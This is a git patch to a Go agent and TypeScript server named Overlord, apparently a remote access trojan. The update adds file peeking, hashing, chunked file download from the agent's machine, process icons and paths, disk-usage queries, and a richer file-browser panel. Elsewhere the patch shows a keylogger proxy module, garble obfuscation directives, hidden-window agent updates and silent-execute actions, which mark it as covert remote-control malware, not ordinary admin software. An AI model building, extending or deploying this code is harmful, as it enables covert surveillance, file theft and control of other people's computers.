From b693cbbbf544d31f4d7f1e85009e8f72c4792296 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Thu, 21 May 2026 09:51:12 -0500 Subject: [PATCH] big update --- Overlord-Client/cmd/agent/capture/capture.go | 2 +- Overlord-Client/cmd/agent/handlers/command.go | 32 + Overlord-Client/cmd/agent/handlers/files.go | 281 +++++- ..._amd64.go => files_extras_windows_wide.go} | 0 .../cmd/agent/handlers/files_unix.go | 11 + .../cmd/agent/handlers/files_windows.go | 36 + .../cmd/agent/handlers/processes.go | 34 +- .../cmd/agent/handlers/processes_windows.go | 24 +- .../cmd/agent/handlers/screenshot.go | 12 +- Overlord-Client/cmd/agent/wire/protocol.go | 25 + Overlord-Server/public/assets/filebrowser.js | 843 ++++++++++++++++-- Overlord-Server/public/assets/processes.js | 90 +- .../public/assets/thumbnail-loader.js | 10 +- Overlord-Server/public/filebrowser.html | 238 ++++- Overlord-Server/src/main-server.ts | 2 +- Overlord-Server/src/protocol.ts | 1 + .../src/server/http-download-consumer.ts | 144 ++- .../src/server/routes/client-routes.ts | 7 +- .../src/server/routes/file-download-routes.ts | 373 ++++++-- .../routes/websocket-lifecycle-routes.ts | 6 + .../server/ws-file-process-proxy-keylogger.ts | 82 +- Overlord-Server/src/thumbnails.ts | 6 +- Overlord-Server/src/wsValidation.ts | 3 + 23 files changed, 2011 insertions(+), 251 deletions(-) rename Overlord-Client/cmd/agent/handlers/{files_extras_windows_amd64.go => files_extras_windows_wide.go} (100%) diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index db12325..3549665 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -42,7 +42,7 @@ func Loop(ctx context.Context, env *rt.Env) { restore := BypassResolutionCap() defer restore() var err error - if goruntime.GOOS == "windows" && activeDisplays() > 1 { + if goruntime.GOOS == "windows" { err = captureAllDisplaysAndSend(ctx, env) } else { err = CaptureAndSend(ctx, env) diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index f25c78a..3b25e97 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -2124,6 +2124,29 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } }) return nil + case "file_peek": + payload, _ := envelope["payload"].(map[string]interface{}) + path, _ := payload["path"].(string) + bytesToRead := 0 + if v, ok := payloadInt(payload, "bytes"); ok { + bytesToRead = v + } + goSafe("file_peek", env.Cancel, func() { + if err := HandleFilePeek(ctx, env, cmdID, path, bytesToRead); err != nil && err != context.Canceled { + log.Printf("file_peek error: %v", err) + } + }) + return nil + case "file_hash": + payload, _ := envelope["payload"].(map[string]interface{}) + path, _ := payload["path"].(string) + algorithm, _ := payload["algorithm"].(string) + goSafe("file_hash", env.Cancel, func() { + if err := HandleFileHash(ctx, env, cmdID, path, algorithm); err != nil && err != context.Canceled { + log.Printf("file_hash error: %v", err) + } + }) + return nil case "agent_update": payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) @@ -2132,6 +2155,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return HandleAgentUpdate(ctx, env, cmdID, path, hash, hideWindow) case "process_list": return HandleProcessList(ctx, env, cmdID) + case "process_icon": + payload, _ := envelope["payload"].(map[string]interface{}) + items := parseIconRequestItems(payload["items"]) + goSafe("process_icon", env.Cancel, func() { + if err := HandleProcessIcon(ctx, env, cmdID, items); err != nil && err != context.Canceled { + log.Printf("process_icon error: %v", err) + } + }) + return nil case "process_kill": payload, _ := envelope["payload"].(map[string]interface{}) if payload == nil { diff --git a/Overlord-Client/cmd/agent/handlers/files.go b/Overlord-Client/cmd/agent/handlers/files.go index de68a98..1dfe7bb 100644 --- a/Overlord-Client/cmd/agent/handlers/files.go +++ b/Overlord-Client/cmd/agent/handlers/files.go @@ -5,9 +5,15 @@ import ( "bufio" "bytes" "context" + "crypto/md5" + "crypto/sha1" + "crypto/sha256" "crypto/tls" "crypto/x509" + "encoding/hex" "fmt" + "hash" + "hash/crc32" "io" "log" "net/http" @@ -25,7 +31,7 @@ import ( "overlord-client/cmd/agent/wire" ) -const maxChunkSize = 1024 * 1024 +const maxChunkSize = 4 * 1024 * 1024 type pendingUpload struct { file *os.File @@ -134,14 +140,19 @@ func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string) for drive := 'A'; drive <= 'Z'; drive++ { drivePath := string(drive) + ":\\" if _, err := os.Stat(drivePath); err == nil { - - entries = append(entries, wire.FileEntry{ + entry := wire.FileEntry{ Name: string(drive) + ":", Path: drivePath, IsDir: true, Size: 0, ModTime: time.Now().Unix(), - }) + } + if free, total, fs, ok := DiskUsage(drivePath); ok { + entry.FreeBytes = free + entry.TotalBytes = total + entry.FSType = fs + } + entries = append(entries, entry) } } @@ -156,6 +167,165 @@ func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string) return wire.WriteMsg(ctx, env.Conn, result) } +const filePeekMaxBytes = 4096 + +func HandleFilePeek(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, requestedBytes int) error { + log.Printf("file_peek: %s", path) + + if requestedBytes <= 0 || requestedBytes > filePeekMaxBytes { + requestedBytes = filePeekMaxBytes + } + + info, err := os.Stat(path) + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{ + Type: "file_peek_result", + CommandID: cmdID, + Path: path, + Error: err.Error(), + }) + } + + if info.IsDir() { + return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{ + Type: "file_peek_result", + CommandID: cmdID, + Path: path, + Size: info.Size(), + Error: "path is a directory", + }) + } + + f, err := os.Open(path) + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{ + Type: "file_peek_result", + CommandID: cmdID, + Path: path, + Size: info.Size(), + Error: err.Error(), + }) + } + defer f.Close() + + buf := make([]byte, requestedBytes) + n, err := io.ReadFull(f, buf) + if err != nil && err != io.EOF && err != io.ErrUnexpectedEOF { + return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{ + Type: "file_peek_result", + CommandID: cmdID, + Path: path, + Size: info.Size(), + Error: err.Error(), + }) + } + data := buf[:n] + + return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{ + Type: "file_peek_result", + CommandID: cmdID, + Path: path, + Data: data, + Size: info.Size(), + IsText: looksLikeText(data), + }) +} + +func looksLikeText(data []byte) bool { + if len(data) == 0 { + return true + } + if !utf8.Valid(data) { + return false + } + for _, b := range data { + if b == 0 { + return false + } + } + return true +} + +func HandleFileHash(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, algorithm string) error { + log.Printf("file_hash: %s algo=%s", path, algorithm) + + algorithm = strings.ToLower(strings.TrimSpace(algorithm)) + if algorithm == "" { + algorithm = "sha256" + } + + var h hash.Hash + switch algorithm { + case "sha256": + h = sha256.New() + case "sha1": + h = sha1.New() + case "md5": + h = md5.New() + case "crc32": + h = crc32.NewIEEE() + default: + return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{ + Type: "file_hash_result", + CommandID: cmdID, + Path: path, + Algorithm: algorithm, + Error: "unsupported algorithm", + }) + } + + info, err := os.Stat(path) + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{ + Type: "file_hash_result", + CommandID: cmdID, + Path: path, + Algorithm: algorithm, + Error: err.Error(), + }) + } + if info.IsDir() { + return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{ + Type: "file_hash_result", + CommandID: cmdID, + Path: path, + Algorithm: algorithm, + Error: "path is a directory", + }) + } + + f, err := os.Open(path) + if err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{ + Type: "file_hash_result", + CommandID: cmdID, + Path: path, + Algorithm: algorithm, + Error: err.Error(), + }) + } + defer f.Close() + + if _, err := io.Copy(h, f); err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{ + Type: "file_hash_result", + CommandID: cmdID, + Path: path, + Algorithm: algorithm, + Error: err.Error(), + }) + } + + return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{ + Type: "file_hash_result", + CommandID: cmdID, + Path: path, + Algorithm: algorithm, + Digest: hex.EncodeToString(h.Sum(nil)), + Size: info.Size(), + }) +} + func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 log.Printf("file_download: %s", path) @@ -170,10 +340,10 @@ func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string } return wire.WriteMsg(ctx, env.Conn, result) } - defer file.Close() stat, err := file.Stat() if err != nil { + _ = file.Close() result := wire.FileDownload{ Type: "file_download", CommandID: cmdID, @@ -184,55 +354,84 @@ func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string } total := stat.Size() - offset := int64(0) - buffer := make([]byte, maxChunkSize) chunksTotal := 0 if total > 0 { chunksTotal = int((total + int64(maxChunkSize) - 1) / int64(maxChunkSize)) } - chunkIndex := 0 - reader := bufio.NewReader(file) - for { - n, err := io.ReadFull(reader, buffer) - if err == io.EOF { - break + type readChunk struct { + data []byte + off int64 + idx int + err error + } + + readCtx, cancelReader := context.WithCancel(ctx) + pipe := make(chan readChunk, 2) + done := make(chan struct{}) + + go func() { + defer close(done) + defer close(pipe) + defer file.Close() + offset := int64(0) + idx := 0 + for { + buf := make([]byte, maxChunkSize) + n, rerr := io.ReadFull(file, buf) + if n > 0 { + select { + case <-readCtx.Done(): + return + case pipe <- readChunk{data: buf[:n], off: offset, idx: idx}: + } + offset += int64(n) + idx++ + } + if rerr == nil { + continue + } + if rerr == io.EOF || rerr == io.ErrUnexpectedEOF { + return + } + select { + case <-readCtx.Done(): + case pipe <- readChunk{err: rerr, off: offset, idx: idx}: + } + return } - if err != nil && err != io.ErrUnexpectedEOF { - result := wire.FileDownload{ + }() + + defer func() { + cancelReader() + <-done + }() + + for chunk := range pipe { + if chunk.err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.FileDownload{ Type: "file_download", CommandID: cmdID, Path: path, - Error: err.Error(), - Offset: offset, + Error: chunk.err.Error(), + Offset: chunk.off, Total: total, - ChunkIndex: chunkIndex, + ChunkIndex: chunk.idx, ChunksTotal: chunksTotal, - } - return wire.WriteMsg(ctx, env.Conn, result) + }) } - - if n > 0 { - chunk := wire.FileDownload{ - Type: "file_download", - CommandID: cmdID, - Path: path, - Data: buffer[:n], - Offset: offset, - Total: total, - ChunkIndex: chunkIndex, - ChunksTotal: chunksTotal, - } - - if err := wire.WriteMsg(ctx, env.Conn, chunk); err != nil { - return err - } - offset += int64(n) - chunkIndex++ + msg := wire.FileDownload{ + Type: "file_download", + CommandID: cmdID, + Path: path, + Data: chunk.data, + Offset: chunk.off, + Total: total, + ChunkIndex: chunk.idx, + ChunksTotal: chunksTotal, } - - if err == io.ErrUnexpectedEOF { - break + if err := wire.WriteMsg(ctx, env.Conn, msg); err != nil { + return err } } diff --git a/Overlord-Client/cmd/agent/handlers/files_extras_windows_amd64.go b/Overlord-Client/cmd/agent/handlers/files_extras_windows_wide.go similarity index 100% rename from Overlord-Client/cmd/agent/handlers/files_extras_windows_amd64.go rename to Overlord-Client/cmd/agent/handlers/files_extras_windows_wide.go diff --git a/Overlord-Client/cmd/agent/handlers/files_unix.go b/Overlord-Client/cmd/agent/handlers/files_unix.go index fabd010..d401677 100644 --- a/Overlord-Client/cmd/agent/handlers/files_unix.go +++ b/Overlord-Client/cmd/agent/handlers/files_unix.go @@ -37,6 +37,17 @@ func getFilePermissions(info os.FileInfo) (mode, owner, group string) { return } +func DiskUsage(path string) (int64, int64, string, bool) { + var st syscall.Statfs_t + if err := syscall.Statfs(path, &st); err != nil { + return 0, 0, "", false + } + bsize := int64(st.Bsize) + free := int64(st.Bavail) * bsize + total := int64(st.Blocks) * bsize + return free, total, "", true +} + func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) { mode, owner, group := getFilePermissions(info) entry.Mode = mode diff --git a/Overlord-Client/cmd/agent/handlers/files_windows.go b/Overlord-Client/cmd/agent/handlers/files_windows.go index 9161eef..63d8ba2 100644 --- a/Overlord-Client/cmd/agent/handlers/files_windows.go +++ b/Overlord-Client/cmd/agent/handlers/files_windows.go @@ -8,10 +8,46 @@ import ( "os" "os/exec" "syscall" + "unsafe" "overlord-client/cmd/agent/wire" ) +func DiskUsage(path string) (int64, int64, string, bool) { + kernel32 := syscall.NewLazyDLL("kernel32.dll") + getDiskFreeSpaceExW := kernel32.NewProc("GetDiskFreeSpaceExW") + getVolumeInformationW := kernel32.NewProc("GetVolumeInformationW") + + root, err := syscall.UTF16PtrFromString(path) + if err != nil { + return 0, 0, "", false + } + var freeAvail, totalBytes, totalFree uint64 + r1, _, _ := getDiskFreeSpaceExW.Call( + uintptr(unsafe.Pointer(root)), + uintptr(unsafe.Pointer(&freeAvail)), + uintptr(unsafe.Pointer(&totalBytes)), + uintptr(unsafe.Pointer(&totalFree)), + ) + if r1 == 0 { + return 0, 0, "", false + } + + fsType := "" + var fsNameBuf [32]uint16 + r2, _, _ := getVolumeInformationW.Call( + uintptr(unsafe.Pointer(root)), + 0, 0, 0, 0, 0, + uintptr(unsafe.Pointer(&fsNameBuf[0])), + uintptr(len(fsNameBuf)), + ) + if r2 != 0 { + fsType = syscall.UTF16ToString(fsNameBuf[:]) + } + + return int64(freeAvail), int64(totalBytes), fsType, true +} + func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) { if d, ok := info.Sys().(*syscall.Win32FileAttributeData); ok { entry.Attrs = d.FileAttributes diff --git a/Overlord-Client/cmd/agent/handlers/processes.go b/Overlord-Client/cmd/agent/handlers/processes.go index 9abb38a..6ad77ea 100644 --- a/Overlord-Client/cmd/agent/handlers/processes.go +++ b/Overlord-Client/cmd/agent/handlers/processes.go @@ -4,11 +4,11 @@ import ( "context" "log" - "overlord-client/cmd/agent/runtime" + agentRuntime "overlord-client/cmd/agent/runtime" "overlord-client/cmd/agent/wire" ) -func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) error { +func HandleProcessList(ctx context.Context, env *agentRuntime.Env, cmdID string) error { log.Printf("process_list: listing all processes") processes := []wire.ProcessInfo{} @@ -32,7 +32,7 @@ func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) erro return wire.WriteMsg(ctx, env.Conn, result) } -func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error { +func HandleProcessKill(ctx context.Context, env *agentRuntime.Env, cmdID string, pid int32) error { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 log.Printf("process_kill: %d", pid) @@ -52,7 +52,7 @@ func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid return wire.WriteMsg(ctx, env.Conn, result) } -func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error { +func HandleProcessSuspend(ctx context.Context, env *agentRuntime.Env, cmdID string, pid int32) error { log.Printf("process_suspend: %d", pid) err := suspendProcess(pid) @@ -71,7 +71,7 @@ func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, p return wire.WriteMsg(ctx, env.Conn, result) } -func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error { +func HandleProcessResume(ctx context.Context, env *agentRuntime.Env, cmdID string, pid int32) error { log.Printf("process_resume: %d", pid) err := resumeProcess(pid) @@ -89,3 +89,27 @@ func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pi } return wire.WriteMsg(ctx, env.Conn, result) } + +func HandleProcessIcon(ctx context.Context, env *agentRuntime.Env, cmdID string, items []wire.FileIconRequestItem) error { + out := make([]wire.FileIconResultItem, 0, len(items)) + for _, item := range items { + select { + case <-ctx.Done(): + return ctx.Err() + default: + } + png, err := extractFileIconPNG(item.Path, item.Ext) + ri := wire.FileIconResultItem{Key: item.Key} + if err != nil { + ri.Error = err.Error() + } else { + ri.PNG = png + } + out = append(out, ri) + } + return wire.WriteMsg(ctx, env.Conn, wire.FileIconResult{ + Type: "process_icon_result", + CommandID: cmdID, + Icons: out, + }) +} diff --git a/Overlord-Client/cmd/agent/handlers/processes_windows.go b/Overlord-Client/cmd/agent/handlers/processes_windows.go index 604db2d..b7c282d 100644 --- a/Overlord-Client/cmd/agent/handlers/processes_windows.go +++ b/Overlord-Client/cmd/agent/handlers/processes_windows.go @@ -22,11 +22,12 @@ var ( modKernel32 = windows.NewLazySystemDLL("kernel32.dll") modPsapi = windows.NewLazySystemDLL("psapi.dll") modNtdll = windows.NewLazySystemDLL("ntdll.dll") - procEnumProcesses = modPsapi.NewProc("EnumProcesses") - procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo") - procOpenProcess = modKernel32.NewProc("OpenProcess") - procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW") - procGetProcessTimes = modKernel32.NewProc("GetProcessTimes") + procEnumProcesses = modPsapi.NewProc("EnumProcesses") + procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo") + procOpenProcess = modKernel32.NewProc("OpenProcess") + procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW") + procGetProcessTimes = modKernel32.NewProc("GetProcessTimes") + procQueryFullProcessImageNameW = modKernel32.NewProc("QueryFullProcessImageNameW") ) type cpuSample struct { @@ -131,6 +132,18 @@ func queryProcess(pid, selfPID int32, numCPU int) *wire.ProcessInfo { } } + exePath := "" + var dosPath [windows.MAX_PATH]uint16 + dosPathLen := uint32(windows.MAX_PATH) + ret2, _, _ := procQueryFullProcessImageNameW.Call( + handle, 0, + uintptr(unsafe.Pointer(&dosPath[0])), + uintptr(unsafe.Pointer(&dosPathLen)), + ) + if ret2 != 0 && dosPathLen > 0 { + exePath = syscall.UTF16ToString(dosPath[:dosPathLen]) + } + var memCounters PROCESS_MEMORY_COUNTERS memCounters.CB = uint32(unsafe.Sizeof(memCounters)) memory := uint64(0) @@ -224,6 +237,7 @@ func queryProcess(pid, selfPID int32, numCPU int) *wire.ProcessInfo { PID: pid, PPID: ppid, Name: name, + ExePath: exePath, CPU: cpu, Memory: memory, Username: username, diff --git a/Overlord-Client/cmd/agent/handlers/screenshot.go b/Overlord-Client/cmd/agent/handlers/screenshot.go index 586377d..05c8c40 100644 --- a/Overlord-Client/cmd/agent/handlers/screenshot.go +++ b/Overlord-Client/cmd/agent/handlers/screenshot.go @@ -214,11 +214,15 @@ func captureScreenshotImageWindows(allDisplays bool) (*image.RGBA, int, image.Re sp := make([]scaledPart, len(parts)) for i, part := range parts { sx, sy := 1.0, 1.0 - if bw := part.bounds.Dx(); bw > 0 { - sx = float64(part.img.Rect.Dx()) / float64(bw) + bw := part.bounds.Dx() + bh := part.bounds.Dy() + iw := part.img.Rect.Dx() + ih := part.img.Rect.Dy() + if bw > 0 && iw > 0 { + sx = float64(iw) / float64(bw) } - if bh := part.bounds.Dy(); bh > 0 { - sy = float64(part.img.Rect.Dy()) / float64(bh) + if bh > 0 && ih > 0 { + sy = float64(ih) / float64(bh) } sp[i] = scaledPart{ img: part.img, diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index f301ce9..9c7ecc8 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -112,6 +112,10 @@ type FileEntry struct { Group string `msgpack:"group,omitempty"` // windows file attributes Attrs uint32 `msgpack:"attrs,omitempty"` + // Drive / volume disk usage (populated only at root listings for drive entries). + FreeBytes int64 `msgpack:"freeBytes,omitempty"` + TotalBytes int64 `msgpack:"totalBytes,omitempty"` + FSType string `msgpack:"fsType,omitempty"` } type FileListResult struct { @@ -151,6 +155,7 @@ type ProcessInfo struct { PID int32 `msgpack:"pid"` PPID int32 `msgpack:"ppid"` Name string `msgpack:"name"` + ExePath string `msgpack:"exePath,omitempty"` CPU float64 `msgpack:"cpu"` Memory uint64 `msgpack:"memory"` Username string `msgpack:"username,omitempty"` @@ -227,6 +232,26 @@ type FileThumbnailResult struct { Thumbs []FileThumbnailResultItem `msgpack:"thumbs"` } +type FilePeekResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + Path string `msgpack:"path"` + Data []byte `msgpack:"data,omitempty"` + Size int64 `msgpack:"size"` + IsText bool `msgpack:"isText"` + Error string `msgpack:"error,omitempty"` +} + +type FileHashResult struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + Path string `msgpack:"path"` + Algorithm string `msgpack:"algorithm"` + Digest string `msgpack:"digest"` + Size int64 `msgpack:"size"` + Error string `msgpack:"error,omitempty"` +} + type FolderSizeResult struct { Type string `msgpack:"type"` CommandID string `msgpack:"commandId,omitempty"` diff --git a/Overlord-Server/public/assets/filebrowser.js b/Overlord-Server/public/assets/filebrowser.js index 7e9d019..e35228b 100644 --- a/Overlord-Server/public/assets/filebrowser.js +++ b/Overlord-Server/public/assets/filebrowser.js @@ -275,6 +275,12 @@ function handleMessage(msg) { case "file_dirsize_result": handleFileDirsizeResult(msg); break; + case "file_peek_result": + handleFilePeekResult(msg); + break; + case "file_hash_result": + handleFileHashResult(msg); + break; case "command_result": console.log("[DEBUG] Command result:", msg); handleCommandResult(msg); @@ -1243,6 +1249,12 @@ function handleFileList(msg) { updateSidebarDrives([]); } highlightSidebarActive(); + updatePinnedSidebar(); + + // If the previewed item was from another directory, clear it. + if (currentPreviewEntry && !directoryEntries.some((e) => e.path === currentPreviewEntry.path)) { + clearPreviewPane(); + } selectedFiles.clear(); updateSelectionUI(); @@ -1321,11 +1333,20 @@ function createFileRow(entry) { const size = entry.isDir ? "-" : formatBytes(entry.size); const modTime = new Date(entry.modTime * 1000).toLocaleString(); + const pinnedNow = entry.isDir && isPinned(entry.path); + const pinTitle = pinnedNow ? "Unpin from sidebar" : "Pin to sidebar"; + const pinIcon = pinnedNow ? "fa-star" : "fa-star"; + const pinClass = pinnedNow ? "pin-star-btn pinned" : "pin-star-btn"; + const pinBtn = entry.isDir + ? `` + : ""; + row.innerHTML = `
${icon} ${escapeHtml(entry.name)} + ${pinBtn} ${badges}
${size}
@@ -1344,16 +1365,28 @@ function createFileRow(entry) { nameDiv.appendChild(mobileMetaDiv); row.onclick = (e) => { - if (e.target.closest(".file-checkbox") || e.target.closest(".action-btn")) { + if (e.target.closest(".file-checkbox") || e.target.closest(".action-btn") || e.target.closest(".pin-star-btn")) { return; } + // Single-click always updates the preview pane. + showPreviewForEntry(entry); + + if (entry.isDir) { + listFiles(entry.path); + } + }; + + row.ondblclick = (e) => { + if (e.target.closest(".file-checkbox") || e.target.closest(".action-btn") || e.target.closest(".pin-star-btn")) { + return; + } if (entry.isDir) { listFiles(entry.path); } else if (isPreviewable(entry.name)) { openFilePreview(entry.path, entry.size); } else if (KNOWN_BINARY_EXTS.has(getFileExt(entry.name))) { - notifyToast("Binary file — use Download to save it", "info", 3000); + openHexViewer(entry.path); } else { openFileInEditor(entry.path); } @@ -1383,6 +1416,23 @@ function createFileRow(entry) { }; }); + const pinToggleBtn = row.querySelector("[data-pin-toggle]"); + if (pinToggleBtn) { + pinToggleBtn.addEventListener("click", (e) => { + e.stopPropagation(); + const target = pinToggleBtn.dataset.pinToggle; + if (isPinned(target)) { + unpinPath(target); + pinToggleBtn.classList.remove("pinned"); + pinToggleBtn.title = "Pin to sidebar"; + } else { + pinPath(target, entry.name); + pinToggleBtn.classList.add("pinned"); + pinToggleBtn.title = "Unpin from sidebar"; + } + }); + } + row.oncontextmenu = (e) => { e.preventDefault(); showContextMenu(e.clientX, e.clientY, entry); @@ -1484,6 +1534,20 @@ function handleFileAction(action, entry) { case "dirsize": requestFolderSize(entry); break; + case "pin": + pinPath(entry.path, entry.name); + notifyToast("Pinned", "success", 1800); + break; + case "unpin": + unpinPath(entry.path); + notifyToast("Unpinned", "info", 1800); + break; + case "hex_peek": + if (!entry.isDir) openHexViewer(entry.path); + break; + case "hash": + if (!entry.isDir) requestFileHash(entry.path, "context"); + break; } } @@ -1595,41 +1659,104 @@ function downloadFile(path) { transfer.total = total; } - const chunks = []; let received = 0; let lastLoggedBytes = 0; - if (res.body) { - const reader = res.body.getReader(); - while (true) { - const { done, value } = await reader.read(); - if (done) break; - if (value) { - chunks.push(value); - received += value.length; - transfer.received = received; - if (received - lastLoggedBytes >= 5 * 1024 * 1024) { - lastLoggedBytes = received; - console.debug("[filebrowser] download stream", { - path, - received, - total: transfer.total, - }); - } - if (transfer.total > 0) { - transfer.progress = Math.round((received / transfer.total) * 100); - updateTransferProgress(transferId, transfer.progress, received, transfer.total); - } - } - if (transfer.cancelled) { - break; - } - } - } else { - console.warn("[filebrowser] download response missing body", { path }); - const blob = await res.blob(); - chunks.push(new Uint8Array(await blob.arrayBuffer())); - received = chunks[0]?.length || 0; + const trackChunk = (size) => { + received += size; transfer.received = received; + if (received - lastLoggedBytes >= 5 * 1024 * 1024) { + lastLoggedBytes = received; + console.debug("[filebrowser] download stream", { + path, + received, + total: transfer.total, + }); + } + if (transfer.total > 0) { + transfer.progress = Math.round((received / transfer.total) * 100); + updateTransferProgress(transferId, transfer.progress, received, transfer.total); + } + }; + + const canStreamToDisk = typeof window.showSaveFilePicker === "function" && !!res.body; + let usedStreamToDisk = false; + + if (canStreamToDisk) { + let saveHandle = null; + try { + saveHandle = await window.showSaveFilePicker({ suggestedName: fileName }); + } catch (pickerErr) { + if (pickerErr && pickerErr.name === "AbortError") { + transfer.cancelled = true; + try { abortController.abort(); } catch {} + removeTransfer(transferId); + fileDownloads.delete(path); + updateStatus("connected", "Connected"); + return; + } + console.warn("[filebrowser] save picker failed, falling back to blob", pickerErr); + saveHandle = null; + } + if (saveHandle) { + const writable = await saveHandle.createWritable(); + const progressTransform = new TransformStream({ + transform(chunk, controller) { + trackChunk(chunk.byteLength); + controller.enqueue(chunk); + }, + }); + try { + await res.body.pipeThrough(progressTransform).pipeTo(writable, { + signal: abortController.signal, + }); + } catch (pipeErr) { + try { await writable.abort(pipeErr); } catch {} + throw pipeErr; + } + usedStreamToDisk = true; + } + } + + if (!usedStreamToDisk) { + const chunks = []; + if (res.body) { + const reader = res.body.getReader(); + while (true) { + const { done, value } = await reader.read(); + if (done) break; + if (value) { + chunks.push(value); + trackChunk(value.length); + } + if (transfer.cancelled) { + try { await reader.cancel(); } catch {} + break; + } + } + } else { + console.warn("[filebrowser] download response missing body", { path }); + const blob = await res.blob(); + const buf = new Uint8Array(await blob.arrayBuffer()); + chunks.push(buf); + trackChunk(buf.length); + } + + if (transfer.cancelled) { + removeTransfer(transferId); + fileDownloads.delete(path); + updateStatus("connected", "Connected"); + return; + } + + const blob = new Blob(chunks); + const url = URL.createObjectURL(blob); + const a = document.createElement("a"); + a.href = url; + a.download = fileName; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + URL.revokeObjectURL(url); } if (transfer.cancelled) { @@ -1644,22 +1771,12 @@ function downloadFile(path) { updateTransferProgress(transferId, transfer.progress, received, transfer.total); } - const blob = new Blob(chunks); - const url = URL.createObjectURL(blob); - const a = document.createElement("a"); - a.href = url; - a.download = fileName; - document.body.appendChild(a); - a.click(); - document.body.removeChild(a); - URL.revokeObjectURL(url); - console.log("Download complete:", path, `${received} bytes`); console.debug("[filebrowser] download complete", { path, received, total: transfer.total, - chunks: chunks.length, + streamedToDisk: usedStreamToDisk, }); removeTransfer(transferId); fileDownloads.delete(path); @@ -2058,7 +2175,7 @@ function handleFileUploadResult(msg) { if (Number.isFinite(msg.received)) { transfer.receivedBytes = Math.min(Number(msg.received), transfer.total); - transfer.sent = transfer.receivedBytes; + transfer.sent = Math.max(transfer.sent || 0, transfer.receivedBytes); } if (transfer.total > 0) { @@ -2164,6 +2281,10 @@ function showContextMenu(x, y, entry) { const executeItem = contextMenu.querySelector('[data-action="execute"]'); const silentExecuteItem = contextMenu.querySelector('[data-action="silent_execute"]'); const dirsizeItem = contextMenu.querySelector('[data-action="dirsize"]'); + const pinItem = contextMenu.querySelector('[data-action="pin"]'); + const unpinItem = contextMenu.querySelector('[data-action="unpin"]'); + const hexItem = contextMenu.querySelector('[data-action="hex_peek"]'); + const hashItem = contextMenu.querySelector('[data-action="hash"]'); if (editItem) editItem.style.display = entry.isDir ? "none" : "block"; if (zipItem) zipItem.style.display = entry.isDir ? "block" : "none"; @@ -2171,6 +2292,12 @@ function showContextMenu(x, y, entry) { if (executeItem) executeItem.style.display = entry.isDir ? "none" : "block"; if (silentExecuteItem) silentExecuteItem.style.display = entry.isDir ? "none" : "block"; if (dirsizeItem) dirsizeItem.style.display = entry.isDir ? "block" : "none"; + + const pinned = isPinned(entry.path); + if (pinItem) pinItem.style.display = pinned ? "none" : "block"; + if (unpinItem) unpinItem.style.display = pinned ? "block" : "none"; + if (hexItem) hexItem.style.display = entry.isDir ? "none" : "block"; + if (hashItem) hashItem.style.display = entry.isDir ? "none" : "block"; } function hideContextMenu() { @@ -2229,17 +2356,50 @@ function hasFileDrag(event) { return types.includes("Files"); } +let dropOverlayEl = null; + +function ensureDropOverlay() { + if (dropOverlayEl || !fileListPanel) return dropOverlayEl; + if (!fileListPanel.classList.contains("relative")) { + fileListPanel.classList.add("relative"); + } + const overlay = document.createElement("div"); + overlay.id = "file-drop-overlay"; + overlay.className = + "hidden absolute inset-0 z-30 pointer-events-none flex items-center justify-center bg-blue-500/15 border-2 border-dashed border-blue-400 rounded-lg backdrop-blur-sm"; + overlay.innerHTML = ` +
+ +
Drop files to upload
+
+
